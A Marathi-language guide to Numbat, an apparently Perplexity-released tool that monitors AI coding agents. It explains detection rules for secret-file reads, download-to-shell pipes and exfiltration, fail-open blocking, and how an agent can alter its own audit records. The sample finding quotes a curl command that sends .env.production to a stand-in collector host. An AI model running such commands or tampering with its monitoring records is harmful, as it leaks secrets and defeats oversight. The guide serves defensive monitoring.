SSD Nodes Learn 🎉 VPS $4.99/महिन्यापासून
मार्गदर्शक Matt Connorद्वारे Matt Connor · अपडेटेड 2026-08-13

Numbat: तुमचा AI agent काय करतो ते पाहा

Perplexity ने open source केलेले Numbat AI coding agents ची प्रत्यक्ष कामे नोंदवते. ते काय पाहते, rules कसे लागू करते आणि काय थांबवू शकत नाही हे जाणून घ्या.

Numbat म्हणजे काय

Numbat मुळे तुमच्या मालकीच्या मशीनवर AI agent ने काय केले हे दिसते. Coding agents आधीच तयार करत असलेल्या hook callbacks आणि session files हे वाचते. त्यांना एका event format मध्ये normalise करते. त्यानंतर SSH private key वाचणे किंवा download थेट shell मध्ये pipe करणे यांसारख्या वर्तनावर लागू होणाऱ्या rules शी त्यांची जुळवणी करते. Perplexity ने ते Apache 2.0 परवान्याअंतर्गत open source म्हणून released केले. पहिला tagged release 29 July 2026 रोजी प्रकाशित झाला.

खालील सर्व माहिती 2 August 2026 रोजी project च्या repository आणि त्याच्या documentation मधून घेतली आहे. Perplexity ने केलेला दावा असल्यास, या लेखात ते स्पष्टपणे नमूद केले आहे. हा install tutorial नाही, कारण repository नुकतीच काही दिवसांपूर्वी तयार झाली आहे आणि तिचे commands बदलू शकतात.

समस्या: एजंटने काय केले याची कोणीही नोंद ठेवत नाही

तुमच्या VPS वरील coding agent shell commands चालवतो, files वाचतो, files लिहितो आणि network connections उघडतो. हे सर्व तो तुम्ही त्याला दिलेल्या user म्हणून करतो. तुमच्या shell history मध्ये यापैकी काहीही नोंदले जात नाही, कारण agent तुमच्या shell मध्ये typing करत नाही. sshd तुमचा login आणि त्यानंतर model ने केलेल्या कोणत्याही कृतीची नोंद ठेवत नाही. /var/log/auth.log फक्त काहीतरी sudo कडे पोहोचण्याचा प्रयत्न करेपर्यंत शांत राहते. Agent स्वतःचा transcript ठेवतो. मात्र ती file agent च्या session directory मध्ये असते, तिचा format releases नुसार बदलतो आणि agent ची स्वतःची process त्यात लिहू शकते.

म्हणून agent ने मागील मंगळवारी .env.production वाचले का, असे कोणी विचारल्यास बहुतेक servers वर प्रामाणिक उत्तर हेच असते की ते तुम्ही निश्चितपणे सांगू शकत नाही. हीच उणीव भरून काढण्यासाठी हा project अस्तित्वात आहे.

Perplexity च्या मते Numbat काय करते

README मध्ये या साधनाचे वर्णन “AI agent च्या activity साठी endpoint visibility, local detection, optional pre-action blocking आणि forensic reconstruction” असे केले आहे. येथे endpoint म्हणजे agent ज्या मशीनवर चालते ती मशीन; बाहेरून निरीक्षण करणारे network appliance नव्हे. या स्वतंत्र क्षमता आहेत आणि प्रत्येकाचे महत्त्व वेगळे आहे.

Detection डिव्हाइसवरच चालते. Rules CEL (common expression language) मध्ये लिहिल्या जातात आणि स्थानिक पातळीवर evaluate केल्या जातात. त्यावर multi-step sequence rules आणि YAML मध्ये तुमच्या स्वतःच्या rules साठी support उपलब्ध आहे. एखादा rule लागू होण्यासाठी कोणताही डेटा मशीनबाहेर जाण्याची आवश्यकता नसते.

Blocking optional आणि मर्यादित आहे. ते केवळ synchronous pre-action hooks द्वारे कार्य करते. ज्या agents मध्ये असा hook उपलब्ध आहे त्यांच्यावरच ते वापरता येते. तुम्ही ते सक्षम करेपर्यंत ते बंद असते.

Reconstruction नंतरच्या टप्प्यावर होते. numbat scan agent ने disk वर आधीच लिहिलेल्या session artifacts चे parsing करते. त्यामुळे काहीही install करण्यापूर्वीची activity देखील पाहता येते. या दाव्याची व्याप्ती प्रकल्प स्पष्टपणे मर्यादित करतो: “At-rest reconstruction म्हणजे disk किंवा memory acquisition नव्हे आणि agent ने persist न केलेली activity ते recover करू शकत नाही.”

Output हे versioned NDJSON (newline delimited JSON) स्वरूपात असते. त्यात events, findings, enforcement decisions, indicators आणि scan summaries समाविष्ट असतात. v0.1.2 नुसार schema version 0.2.0 आहे. Records stdout किंवा local file मध्ये लिहिले जातात. तुमच्या नियंत्रणाखालील collector कडे ते HTTP द्वारे पाठवण्याचा पर्यायही आहे. हे cgo शिवाय build केलेले एक static Go binary म्हणून उपलब्ध आहे. ते amd64 आणि arm64 वरील macOS, Linux आणि Windows साठी आहे. त्यामुळे Linux VPS वर ते चालवण्यासाठी एकच file पुरेशी असते; आधी कोणताही runtime install करण्याची आवश्यकता नसते.

Numbat प्रत्यक्षात कोणते agents पाहू शकतो?

docs/agent-coverage.md मधील coverage matrix ही अधिकृत यादी आहे. तिची व्याप्ती सर्व agents साठी समान नाही. प्रकल्प हे स्पष्टपणे सांगतो आणि ही बाब लपवत नाही. Claude Code, Codex, Gemini CLI, Cursor आणि GitHub Copilot CLI यांच्यासाठी artifact scanning आणि pre-action hook सह live capture दोन्ही उपलब्ध आहेत. OpenClaw साठी version 2026.7.1 पासून native plugin उपलब्ध आहे. अनेक entries deferred म्हणून चिन्हांकित आहेत. याचा अर्थ live hook path उपलब्ध आहे, पण artifact parser उपलब्ध नाही. याचे सामान्य कारण असे असते की संबंधित agent आपला history SQLite मध्ये write-ahead log सह साठवतो आणि agent चालू असताना तो सुरक्षितपणे वाचता येत नाही. 2 August 2026 रोजी matrix वाचली तेव्हा OpenCode आणि Cline याच गटात होते.

या tool भोवती कोणतेही नियोजन करण्यापूर्वी तुमच्या agent ची row तपासा. कारण जवळजवळ प्रत्येक row मध्ये "supported" याचा अर्थ वेगळा आहे.

काय शोधले गेले हे कसे दिसते

Rules मध्ये त्यांचा उपयोग सांगणारे ids असतात. secrets.read_private_key मध्ये SSH key, AWS credentials, kube config किंवा package registry login समाविष्ट असतो. exec.download_pipe_shell तेव्हा match होतो जेव्हा curl किंवा wget चे output interpreter कडे pipe केले जाते. privilege.elevated_shell मध्ये sudo, doas, su किंवा pkexec द्वारे interactive root shell मागण्याची घटना पकडली जाते. impact.cryptomining_launch ज्ञात miner binaries आणि image names शी match होतो.

Sequence rules एका session मधील events एकत्र जोडतात. chain.secret_read_then_egress मध्ये आधी secret file read झालेला आणि त्यानंतर data बाहेर पाठवणारी command असलेली sequence आवश्यक असते. README मध्ये खालील finding दोन Claude Code pre-action callbacks च्या नियंत्रित replay मधून प्रकाशित केली आहे; ती live incident मधून घेतलेली नाही. येथे फक्त महत्त्वाची fields ठेवली आहेत:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Record मध्ये "confidence": "medium" कुठे आहे ते पाहा. तसेच या संपूर्ण output वर्गाबद्दल project काय सांगतो ते पाहा: "Findings are rule matches, not proof of compromise." एखादी deploy script key वाचून build artifact upload करत असेल, तर ती त्याच sequence rule शी match होईल. Match बरोबर आहे, पण alarm चुकीचा आहे. तुम्ही आतापर्यंत वापरलेल्या प्रत्येक detection tool ची हीच सामान्य स्थिती आहे.

डीफॉल्टनुसार Blocking बंद असते आणि ती fail-open पद्धतीने कार्य करते

Numbat मधील प्रत्येक rule फक्त monitoring करतो. एखाद्या rule ला block मध्ये बदलणे हे जाणीवपूर्वक करावे लागते: त्या rule चे संपूर्ण YAML आपल्या directory मध्ये copy करा, तोच id ठेवा, enforce: true जोडा, version वाढवा आणि नंतर ती policy validate करून install करा.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

आता Numbat वर किती विश्वास ठेवायचा हे ठरवणारा भाग पाहू. Numbat चा deny हा agent कडे परत पाठवलेला response असतो. Tool call प्रत्यक्षात नाकारणारा घटक agent असतो. Numbat मध्येच समस्या आल्यास काय होते, हे enforcement guide स्पष्टपणे सांगते: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input ची कमाल मर्यादा 4 MiB आहे. मर्यादेपेक्षा मोठ्या input साठीही हाच मार्ग लागू होतो.

प्रत्यक्षात deny मिळाल्यानंतरही त्याची मर्यादा काय आहे, हे guide तितक्याच स्पष्टपणे सांगते: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

म्हणून येथे enforcement हा सुरक्षा-नियंत्रक आहे, अंतिम सीमा नाही. Process crash झाल्यास Numbat त्या action ला block करत नाही. कारण प्रत्येक वेळी समस्या आली की तुमचा agent थांबवणारा monitor एका आठवड्यात uninstall केला जाईल. हा तडजोडीचा परिणाम स्वीकारण्याजोगा आहे. मात्र deny नेहमी पोहोचेल असे गृहीत धरून security model तयार करू नका.

तुम्ही आधीपासून करत असलेल्या कामांच्या तुलनेत Numbat कुठे बसतो

Numbat endpoint वर, agent च्या स्वतःच्या process tree मध्ये चालतो आणि डीफॉल्टनुसार ~/.numbat/records.ndjson मध्ये लिहितो. तुमच्या user म्हणून चालणारा agent ती file वाचू शकतो. तो ती edit देखील करू शकतो. Audit trail चे मूल्य त्याभोवती असलेल्या isolation इतकेच असते. त्यामुळे तुमच्याकडे आधीपासून असलेले प्रत्येक control या control च्या मागे नव्हे, तर पुढे असणे आवश्यक आहे.

coding agent साठी disposable VM देणे एखाद्या चुकीच्या run ला पोहोचता येणाऱ्या गोष्टींची मर्यादा ठरवते. VPS वर least privilege user ठेवणे agent ला त्याने उघडू नयेत अशा files पासून दूर ठेवते. agent च्या context मधून credentials दूर ठेवणे यामुळे secrets.read_private_key आढळणे इतके दुर्मिळ होते की ते घडल्यावर log वाचणे उपयुक्त ठरते. आणि VPS वर Claude Code साठी तुम्ही उभारलेला sandbox अजूनही containment चे काम करतो. Containment मुळे चुकीच्या run ला स्पर्श करता येणाऱ्या गोष्टींची मर्यादा ठरते, तर code अशा प्रकारे का लिहिला आहे हे नोंदवून ठेवणे agent कडून तुम्हाला log तपासावा लागेल इतके अनपेक्षित काही घडण्याची वारंवारता कमी करते.

Numbat कडून मिळणारी भर म्हणजे record. त्यामुळे तो record agent ला पोहोचता येणार नाही अशा ठिकाणी पाठवा. numbat ship आणि HTTP sink यासाठी आहेत. दुसऱ्या machine वर stream ची copy ठेवल्यास log file आणि evidence यांच्यातील फरक स्पष्ट होतो. Event model मध्ये MCP (model context protocol) fields देखील असतात. त्यामुळे VPS वर host केलेल्या MCP server मधून बाहेर जाणारे tool calls, local shell commands प्रमाणेच, त्याच stream मध्ये नोंदवले जातात. हे महत्त्वाचे आहे, कारण फक्त bash वर लक्ष ठेवणाऱ्या कोणत्याही पद्धतीला हा मार्ग दिसत नाही. हाच blind spot agent च्या search backend म्हणून जोडलेल्या SearXNG instance लाही लागू होतो. येथे धोका कोणत्याही rule शी जुळणाऱ्या command च्या रूपात नव्हे, तर untrusted page text model च्या context मध्ये जाण्याच्या रूपात येतो.

केवळ read-only मोडमध्ये प्रथम वापरून पाहा

pinned version स्थापित करा. go install साठी Go 1.26.5 किंवा त्यानंतरची आवृत्ती आवश्यक आहे. Source पासून build करायचे नसल्यास releases page वर SHA-256 checksums सह prebuilt binaries उपलब्ध आहेत.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents या system वर स्थापित केलेले agents शोधते. numbat scan disk वर आधीपासून असलेले session artifacts parse करते आणि records मुद्रित करते. README नुसार, या commands “hooks स्थापित करत नाहीत किंवा agent configuration बदलत नाहीत”. तसेच numbat “artifacts मध्ये आढळलेले agents किंवा commands कधीही execute करत नाही आणि configured HTTP sinks वगळता outbound requests पाठवत नाही”. Scanning ही secret redaction सह read-only असते. नेहमीच्या record output मध्ये पूर्ण raw transcript कधीही समाविष्ट होत नाही.

Live capture हा पुढील टप्पा आहे. यामुळे agent configuration बदलते:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all events, findings, indicators आणि लागू enforcement decisions ~/.numbat/records.ndjson मध्ये लिहिते. Project कडून थेट नमूद केलेल्या दोन सावधगिरीच्या बाबी आहेत. Hooks चालण्यापूर्वी agent मध्ये त्यांच्यावर trust ठेवणे आवश्यक असू शकते. --enforce सारखे flags बदलल्यानंतर हा trust पुन्हा तपासावा लागतो. तसेच hook status “configuration पडताळते, execution किंवा delivery नाही”. त्यामुळे healthy status line दिसणे म्हणजे records कुठेही पोहोचत आहेत याचा पुरावा नाही.

हे repository इतके नवीन असल्याने ते dependency नाही

सार्वजनिक releases 29 July 2026 रोजी v0.1.1 आणि 1 August 2026 रोजी v0.1.2 आहेत. हा लेख लिहिला तेव्हा, 2 August 2026 रोजी, या repository ला 597 stars होत्या. इतक्या वेगाने वाढणारी संख्या code किती स्थिर आहे हे दर्शवत नाही; ती Perplexity च्या audience चे प्रमाण दर्शवते. Star म्हणजे एखाद्याने ते page नंतर पाहण्यासाठी save केले आहे.

ही version number या प्रकल्पाची सद्यस्थिती स्पष्टपणे दर्शवते. v0.1.2 मधील notes मध्ये प्रामुख्याने credential redaction fixes, तसेच case bundle आणि telemetry normalisation यांचे काम आहे. इतर programs चे transcripts सुरक्षितपणे वाचणे हे ज्या tool चे काम आहे, त्यातील सुरुवातीच्या defects चे अपेक्षित स्वरूप redaction bugs असेच असते. असे आणखी bugs येतील, कारण inputs डझनभर agents कडून येतात आणि प्रत्येक agent स्वतःच्या वेळापत्रकानुसार format बदलतो.

यातून दोन व्यावहारिक नियम लागू होतात. तुम्ही जतन करत असलेल्या कोणत्याही गोष्टीत @latest ऐवजी tag pin करा. तसेच, record schema मध्ये बदल होणे थांबेपर्यंत, यावर अवलंबून असलेल्या control ऐवजी तुम्ही evaluate करत असलेले instrument म्हणून याकडे पाहा.

FAQ

Numbat धोकादायक AI agent commands अवरोधित करते का?

फक्त तुम्ही तो पर्याय स्वीकारला असेल तरच आणि तेही सर्वोत्तम प्रयत्नांच्या आधारावर. Numbat सोबत येणारा प्रत्येक rule केवळ monitor only असतो. अवरोध करण्यासाठी त्या rule चे YAML तुमच्या स्वतःच्या directory मध्ये copy करा, त्याचा id कायम ठेवा, enforce: true जोडा, version वाढवा आणि --enforce वापरून hook install करा. तरीही deny हा agent कडे पाठवलेला response असतो आणि call नाकारण्याचे काम agentच करतो. Project मध्ये fail-open behaviour दस्तऐवजीकरण केले आहे: malformed payloads, evaluation errors, panics आणि output failures यांमुळे deny दडपला जातो. याचा वापर guardrail म्हणून करा; एकमेव boundary म्हणून करू नका.

Numbat कोणत्या AI agents ना support करते?

प्रत्येक agent साठीची coverage वेगळी आहे आणि repository मधील docs/agent-coverage.md येथे दिली आहे. 2 August 2026 रोजी ते पृष्ठ पाहिले तेव्हा Claude Code, Codex, Gemini CLI, Cursor आणि GitHub Copilot CLI यांच्यासाठी artifact scanning आणि live capture दोन्ही उपलब्ध होते. OpenClaw साठी version 2026.7.1 पासून native plugin उपलब्ध आहे. इतर अनेक agents साठी live hook path दिलेला आहे; परंतु artifact parser अद्याप उपलब्ध नाही. याचे सामान्य कारण म्हणजे त्यांचा session history SQLite database मध्ये असतो आणि agent चालू असताना तो वाचणे सुरक्षित नसते. तुमच्या agent साठीची row वाचा, कारण तेथे "supported" या शब्दाखाली support चे अनेक वेगवेगळे स्तर येतात.

Agent Numbat चे records बदलू शकतो का?

होय, तो त्याच user म्हणून चालत असल्यास. By default, records agent ज्या machine वर चालतो त्याच machine वरील ~/.numbat/records.ndjson येथे साठवले जातात. त्यामुळे त्या path वर write access असलेली कोणतीही गोष्ट ते records बदलू किंवा delete करू शकते. Stream agent ला पोहोचता येणार नाही अशा collector कडे numbat ship किंवा HTTP sink वापरून पाठवा आणि local file सोयीची copy म्हणून ठेवा. म्हणूनच हे tool isolation ला पूरक आहे; त्याची जागा घेणारे नाही. least privilege user अंतर्गत disposable VM मध्ये confined केलेल्या agent ला स्वतःच्या audit trail वर पोहोचण्याची क्षमता खूपच कमी असते.

Numbat production server साठी तयार आहे का?

तुम्ही ज्यावर अवलंबून राहाल अशा control म्हणून नाही. पहिला public release 29 July 2026 रोजी v0.1.1 होता आणि त्यानंतर 1 August 2026 रोजी v0.1.2 आला. त्यामुळे flags आणि record schema दोन्ही अद्याप बदलत आहेत. एखाद्या box वर numbat agents आणि numbat scan चालवणे read-only आणि कमी जोखमीचे आहे. त्यामुळे तुमचे agents disk वर कोणते records ठेवत आहेत हे समजेल. महत्त्वाच्या server वर enforcement hooks install करणे हा वेगळा निर्णय आहे. त्यासाठी pinned tag आणि hook चुकीच्या पद्धतीने वागल्यास काय करायचे याची योजना आवश्यक आहे.